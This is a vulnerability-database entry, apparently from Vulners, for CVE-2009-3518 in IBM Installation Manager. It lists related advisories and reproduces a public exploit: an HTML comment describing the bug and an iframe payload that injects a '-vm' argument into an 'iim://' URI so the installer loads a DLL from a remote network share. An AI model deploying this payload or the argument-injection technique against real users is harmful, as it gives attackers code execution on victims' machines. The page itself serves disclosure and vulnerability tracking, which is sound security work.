IBM Installation Manager 1.3.0 - 'iim://' URI handler
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
 | CVE-2009-3518 | 29 Sep 200900:00 | – | circl |
 | CVE-2009-3518 | 1 Oct 200915:00 | – | cve |
 | CVE-2009-3518 | 1 Oct 200915:00 | – | cvelist |
 | EUVD-2009-3500 | 7 Oct 202500:30 | – | euvd |
 | CVE-2009-3518 | 1 Oct 200915:30 | – | nvd |
 | IBM Installation Manager URI Handling Argument Injection Vulnerability - Windows | 12 Oct 200900:00 | – | openvas |
| IBM Installation Manager URI Handling Argument Injection Vulnerability (Windows) | 12 Oct 200900:00 | – | openvas |
 | Design/Logic Flaw | 1 Oct 200915:30 | – | prion |
 | CVE-2009-3518 | 21 May 202519:43 | – | redhatcve |
 | IBM Installation Manager iim URI Handling Code Execution | 16 Oct 200900:00 | – | saint |
10
<!--
IBM Installation Manager <= 1.3.0 iim:// uri handler remote code execution exploit - IE
by nine:situations:group::bruiser
site: http://retrogod.altervista.org/
vulnerable:
IBM Rational Robot
IBM Rational Team Concert
possibly all Rational products, not Rational Appscan I see
download location: http://www14.software.ibm.com/webapp/download/byproduct.jsp?pgel=ibmhzn1&cm_re=masthead-_-supdl-_-dl-trials
info: http://www-01.ibm.com/software/rational/installmgr/faq.html
bug:
through Internet Explorer is possible to specify extra command line arguments, ex.
the -vm argument for the IBMIM.exe executable, which will load an arbitrary dll
from an external network share, change the path to your own library with some code
in the entry point
-->
<iframe src='iim://"%20-vm%20\\192.168.0.1\uncshare\sh.dll%20-url%20"'></iframe>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Sep 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.05477